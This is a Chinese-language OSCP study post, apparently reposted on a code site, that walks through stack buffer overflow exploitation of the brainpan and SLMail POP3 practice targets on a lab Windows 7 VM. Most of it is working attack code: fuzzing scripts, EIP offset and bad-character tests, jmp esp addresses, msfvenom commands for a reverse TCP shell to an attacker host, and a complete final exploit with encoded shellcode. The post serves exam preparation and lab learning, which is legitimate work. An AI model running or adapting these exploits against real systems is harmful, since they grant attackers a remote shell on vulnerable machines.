oscp-緩沖區溢出(持續更新)


理論准備

棧溢出的原理 英文的,但棧結構、函數調用中棧的變化講的確實透徹
《0day安全:軟件漏洞分析技術(第二版)》前四章
土司有個帖子有發pwk課程(oscp)的pdf掃描版:原理解釋不夠上面那個詳細,但是流程很清晰(畢竟考的也不是很深)
已通過大佬的博客 這個用來對照看實際操作

環境准備

Windows7虛擬機(我選了IE8,其實也沒什么關系) 微軟官方下載地址

These virtual machines expire after 90 days. We recommend setting a snapshot when you first install the virtual machine which you can roll back to later. Mac users will need to use a tool that supports zip64, like The Unarchiver, to unzip the files.
The password to your VM is "Passw0rd!"

進入虛擬機安裝immunity debugger(檢測到沒有python2.7.1的話,它會自己安裝的)

github下載mona.py,用於immunity debugger mona倉庫

GitHub獲取經典練習案例 鏈接

win7靶機IP:192.168.195.130

一般流程

1.fuzz觸發溢出

2.控制EIP,即找到eip地址在我們溢出數據中的哪個位置

3.確認有多大的空間可以用來放shellcode

4.剔除會導致shellcode運行異常的壞字符

5.尋找跳板——jmp esp:

因為shellcode存放在esp中,但esp的地址是不固定的。所以我們eip中不能直接放esp的地址。

匯編中有一條指令 JMP ESP。如果我們能夠找到包含這條指令的靜態內存地址,那么我們就能修改EIP寄存器的值為JMP ESP的內存地址,由該指令跳轉到ESP寄存器來執行我們的shellcode

⭐在mona展示的modules表里關鍵看表中的5列:Rebase、SafeSEH、ASLR、NXCompat、OS Dll

其中Rebase表示重啟后是否會改變地址、False即不改變;SafeSEH、ASLR、NXCompat這三項都是Windows相關的安全機制;OS Dll表示是否是OS自帶的庫。即前四列選False,最后一列選True(false有時也行,比如就是漏洞程序本身的時候)。

所以可以挑出上圖選中的那些模塊逐一嘗試,然后進一步確認其是否有JMP ESP指令。

具體練習

brainpan

win7上先把brainpan.exe跑起來。用如下腳本嘗試fuzz

import socket


buffers = [b"A"]
ip = "192.168.195.130"
port = 9999
addr = (ip, port)

counter = 100
while len(buffers) <= 30: 
     buffers.append(b"A"*counter)
     counter = counter + 100


for buffer in buffers:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(addr)
    s.send(buffer)
    s.recv(4096)
    s.close()
    print("send  %s bytes" % len(buffer))

在600byte時目標程序崩潰。

下一步尋找eip的位置

打開immunity debugger attach到正在運行的brainpan.exe上去
修改上面的腳本,只發送如圖所示payload。腳本運行后,immunity debugger在點擊繼續運行。發現變化

eip 35724134 (也就是5rA4)
我們找一下它在我們payload中的位置

eip = b'A' * 524 + b'aaaa' # a 61
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(addr)
s.send(eip)
s.recv(4096)
s.close()

驗證一下發現eip確實變成了61616161

下面計算esp能放多少字符

把payload改為

buff = b'A' * 524 + b'aaaa' + b'C' * (3000 - 524 - 4) #3000是往大了寫


可以看到esp里已經都是c了,在右下的棧圖里,找出cccc的起點和終點

0028FD60,0028FF34

0028FF34 - 0028FD60 = 468

也就是說我們有468byte可以用來放shellcode。

下面來剔除壞字符:

將payload修改如下發送

badchars = (
        b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x00"
        b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x10"
        b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x20"
        b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x30"
        b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x40"
        b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x50"
        b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x60"
        b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x70"
        b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x80"
        b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\x90"
        b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xa0"
        b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xb0"
        b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xc0"
        b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xd0"
        b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xe0"
        b"\xe1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xf0")
buff = b'A' * 524 + b'aaaa' + badchars

右鍵esp地址,選擇follow in dump。左下窗口就會顯示到esp.

可以發現00之后的字符並不是預計的11,說明被截斷了。把badchars中的00替換成已確認無害的01繼續測試,是否還有別的壞字符

可以看到剩余badchars都正常顯示——即壞字符只有0x00

下面開始尋找跳板

immunity debugger 下方pycommands輸入 !mona modules

The columns in this output include the current memory location (base and top addresses), the size
of the module, several flags, the module version, module name, and the path

可以看到brainpan.exe的系統保護機制和rebase都為Flase,可以直接利用。

使用nasm_shell來獲得jmp esp的十六進制指令

┌──(wuerror㉿kali)-[~]
└─$ msf-nasm_shell                       
nasm > jmp esp
00000000  FFE4              jmp esp

接着用mona來尋找指令

!mona find -s "\xff\xe4" -m brainpan.exe

311712F3

x86 Windows是小端序,所以填入eip的值應該是\xf3\x12\x17\x31

接着生成shellcode,可以加上選項:EXITFUNC=thread,以避免反彈shell退出時,服務進程也被殺死。

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.195.128 LPORT=4444 -b "\x00" -f python -e x86/shikata_ga_nai -a x86

部分代碼如下

buf =  b""
buf += b"\xda\xcd\xd9\x74\x24\xf4\x58\x33\xc9\xba\x21\x6e\x49"
buf += b"\x45\xb1\x52\x31\x50\x17\x83\xc0\x04\x03\x71\x7d\xab"
buf += b"\xb0\x8d\x69\xa9\x3b\x6d\x6a\xce\xb2\x88\x5b\xce\xa1"
buf += b"\xd9\xcc\xfe\xa2\x8f\xe0\x75\xe6\x3b\x72\xfb\x2f\x4c"
buf += b"\x33\xb6\x09\x63\xc4\xeb\x6a\xe2\x46\xf6\xbe\xc4\x77"
buf += b"\x39\xb3\x05\xbf\x24\x3e\x57\x68\x22\xed\x47\x1d\x7e"
buf += b"\x2e\xec\x6d\x6e\x36\x11\x25\x91\x17\x84\x3d\xc8\xb7"
buf += b"\x27\x91\x60\xfe\x3f\xf6\x4d\x48\xb4\xcc\x3a\x4b\x1c"
buf += b"\x1d\xc2\xe0\x61\x91\x31\xf8\xa6\x16\xaa\x8f\xde\x64"
buf += b"\x57\x88\x25\x16\x83\x1d\xbd\xb0\x40\x85\x19\x40\x84"
buf += b"\x50\xea\x4e\x61\x16\xb4\x52\x74\xfb\xcf\x6f\xfd\xfa"
buf += b"\x1f\xe6\x45\xd9\xbb\xa2\x1e\x40\x9a\x0e\xf0\x7d\xfc"
buf += b"\xf0\xad\xdb\x77\x1c\xb9\x51\xda\x49\x0e\x58\xe4\x89"
buf += b"\x18\xeb\x97\xbb\x87\x47\x3f\xf0\x40\x4e\xb8\xf7\x7a"
buf += b"\x36\x56\x06\x85\x47\x7f\xcd\xd1\x17\x17\xe4\x59\xfc"
buf += b"\xe7\x09\x8c\x53\xb7\xa5\x7f\x14\x67\x06\xd0\xfc\x6d"
buf += b"\x89\x0f\x1c\x8e\x43\x38\xb7\x75\x04\x87\xe0\xb6\x54"
buf += b"\x6f\xf3\x38\x44\x2c\x7a\xde\x0c\xdc\x2a\x49\xb9\x45"
buf += b"\x77\x01\x58\x89\xad\x6c\x5a\x01\x42\x91\x15\xe2\x2f"
buf += b"\x81\xc2\x02\x7a\xfb\x45\x1c\x50\x93\x0a\x8f\x3f\x63"
buf += b"\x44\xac\x97\x34\x01\x02\xee\xd0\xbf\x3d\x58\xc6\x3d"
buf += b"\xdb\xa3\x42\x9a\x18\x2d\x4b\x6f\x24\x09\x5b\xa9\xa5"
buf += b"\x15\x0f\x65\xf0\xc3\xf9\xc3\xaa\xa5\x53\x9a\x01\x6c"
buf += b"\x33\x5b\x6a\xaf\x45\x64\xa7\x59\xa9\xd5\x1e\x1c\xd6"
buf += b"\xda\xf6\xa8\xaf\x06\x67\x56\x7a\x83\x97\x1d\x26\xa2"
buf += b"\x3f\xf8\xb3\xf6\x5d\xfb\x6e\x34\x58\x78\x9a\xc5\x9f"
buf += b"\x60\xef\xc0\xe4\x26\x1c\xb9\x75\xc3\x22\x6e\x75\xc6"
buff = b'A' * 524 + b'\xf3\x12\x17\x31' + buf
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(addr)
s.send(buff)
s.recv(4096)
s.close()

⭐但是並沒有接到反彈shell,用上述方法查看esp內容是否發生變化

取出來對比,可以發現shellcode的前16個字節發生了變化。
可以在shellcode的前面加上0x90進行保護

buff = b'A' * 524 + b'\xf3\x12\x17\x31' + b"\x90" * 16 + buf

執行成功反彈

最終exp:

import socket


ip = "192.168.195.130"
port = 9999
addr = (ip, port)

buf =  b""
buf += b"\xda\xcd\xd9\x74\x24\xf4\x58\x33\xc9\xba\x21\x6e\x49"
buf += b"\x45\xb1\x52\x31\x50\x17\x83\xc0\x04\x03\x71\x7d\xab"
buf += b"\xb0\x8d\x69\xa9\x3b\x6d\x6a\xce\xb2\x88\x5b\xce\xa1"
buf += b"\xd9\xcc\xfe\xa2\x8f\xe0\x75\xe6\x3b\x72\xfb\x2f\x4c"
buf += b"\x33\xb6\x09\x63\xc4\xeb\x6a\xe2\x46\xf6\xbe\xc4\x77"
buf += b"\x39\xb3\x05\xbf\x24\x3e\x57\x68\x22\xed\x47\x1d\x7e"
buf += b"\x2e\xec\x6d\x6e\x36\x11\x25\x91\x17\x84\x3d\xc8\xb7"
buf += b"\x27\x91\x60\xfe\x3f\xf6\x4d\x48\xb4\xcc\x3a\x4b\x1c"
buf += b"\x1d\xc2\xe0\x61\x91\x31\xf8\xa6\x16\xaa\x8f\xde\x64"
buf += b"\x57\x88\x25\x16\x83\x1d\xbd\xb0\x40\x85\x19\x40\x84"
buf += b"\x50\xea\x4e\x61\x16\xb4\x52\x74\xfb\xcf\x6f\xfd\xfa"
buf += b"\x1f\xe6\x45\xd9\xbb\xa2\x1e\x40\x9a\x0e\xf0\x7d\xfc"
buf += b"\xf0\xad\xdb\x77\x1c\xb9\x51\xda\x49\x0e\x58\xe4\x89"
buf += b"\x18\xeb\x97\xbb\x87\x47\x3f\xf0\x40\x4e\xb8\xf7\x7a"
buf += b"\x36\x56\x06\x85\x47\x7f\xcd\xd1\x17\x17\xe4\x59\xfc"
buf += b"\xe7\x09\x8c\x53\xb7\xa5\x7f\x14\x67\x06\xd0\xfc\x6d"
buf += b"\x89\x0f\x1c\x8e\x43\x38\xb7\x75\x04\x87\xe0\xb6\x54"
buf += b"\x6f\xf3\x38\x44\x2c\x7a\xde\x0c\xdc\x2a\x49\xb9\x45"
buf += b"\x77\x01\x58\x89\xad\x6c\x5a\x01\x42\x91\x15\xe2\x2f"
buf += b"\x81\xc2\x02\x7a\xfb\x45\x1c\x50\x93\x0a\x8f\x3f\x63"
buf += b"\x44\xac\x97\x34\x01\x02\xee\xd0\xbf\x3d\x58\xc6\x3d"
buf += b"\xdb\xa3\x42\x9a\x18\x2d\x4b\x6f\x24\x09\x5b\xa9\xa5"
buf += b"\x15\x0f\x65\xf0\xc3\xf9\xc3\xaa\xa5\x53\x9a\x01\x6c"
buf += b"\x33\x5b\x6a\xaf\x45\x64\xa7\x59\xa9\xd5\x1e\x1c\xd6"
buf += b"\xda\xf6\xa8\xaf\x06\x67\x56\x7a\x83\x97\x1d\x26\xa2"
buf += b"\x3f\xf8\xb3\xf6\x5d\xfb\x6e\x34\x58\x78\x9a\xc5\x9f"
buf += b"\x60\xef\xc0\xe4\x26\x1c\xb9\x75\xc3\x22\x6e\x75\xc6"
buff = b'A' * 524 + b'\xf3\x12\x17\x31' + b"\x90" * 16 + buf
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(addr)
s.send(buff)
s.recv(4096)
s.close()

slmail

漏洞環境

可從exploist-db獲取漏洞程序和exp
下載地址
win7一路next默認安裝

有一點不好在於,它不是一個單獨的exe,打掛了重啟很麻煩:電腦->管理->服務:把Seattle Lab POP3 Server這個服務重啟。
在整個過程中,我一直在重復:打掛了重啟服務,admin權限開啟debugger,再attach

fuzz

⭐用admin權限運行immunity debugger attach上去

import socket


buffers = [b"A"]
ip = "192.168.195.130"
port = 110
addr = (ip, port)

counter = 100
while len(buffers) <= 30: 
     buffers.append(b"A"*counter)
     counter = counter + 100

for buffer in buffers:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(addr)
    data = s.recv(1024)
    s.send(b'USER administrator' +b'\r\n')
    data = s.recv(1024)
    s.send(b'PASS ' + buffer + b'\r\n')
    print("send  %s bytes" % len(buffer))

程序輸出send 2600 bytes后卡住,同時debugger那邊報異常。可見是2700byte時溢出

尋找eip

msf-pattern_create -l 2700生成payload再打一次以確認eip位置
image
eip值為39694438
image
得到偏移為2606

重新修改buffer為

buffer = b'A' * 2606 + b'aaaa' + b'C' * (4000 - 2606 - 4)

image
0258a128 到0258A2D0 都是c,共424bytes,沒算最下面兩個。總之是夠用的

尋找壞字符

buff修改如下,重啟服務再打一次

badchars = (
        b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x00"
        b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x10"
        b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x20"
        b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x30"
        b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x40"
        b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x50"
        b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x60"
        b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x70"
        b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x80"
        b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\x90"
        b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xa0"
        b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xb0"
        b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xc0"
        b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xd0"
        b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xe0"
        b"\xe1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xf0")
buffer = b'A' * 2606 + b'aaaa' + badchars

發現壞字符\x0a,\x00,\x0d

尋找jmp esp

!mona modules
image

image
選第一個5F4A358F,即

buffer = b'A' * 2606 + b'\x8f\x35\x4a\x5f' + shellcode

再生成shellcode

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.195.128 LPORT=4444 -b "\x00\x0a\x0d" -f python -e x86/shikata_ga_nai -a x86

生成的shellcode只有351byte在范圍內。

嘗試打一次,看是否需要抬高shellcode。
esp部分dump如下
0243A128 28 A1 43 02 23 00 D3 02 (¡C#.Ó
0243A130 00 00 00 00 00 00 FF FF ......ÿÿ
0243A138 31 73 17 83 C3 04 03 30 1sƒÃ0
0243A140 F1 45 10 4A 1D 0B DB B2 ñEJ Û²
0243A148 DE 6C 55 57 EF AC 01 1C ÞlUWï¬
0243A150 40 1D 41 70 6D D6 07 60 @ApmÖ`
0243A158 E6 9A 8F 87 4F 10 F6 A6 暏‡Oö¦
0243A160 50 09 CA A9 D2 50 1F 09 P.Ê©ÒP.

如上標粗的16byte是不一樣的,所以加上16個nop

buffer = b'A' * 2606 + b'\x8f\x35\x4a\x5f' + b"\x90" * 16 + shellcode

image

成功!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM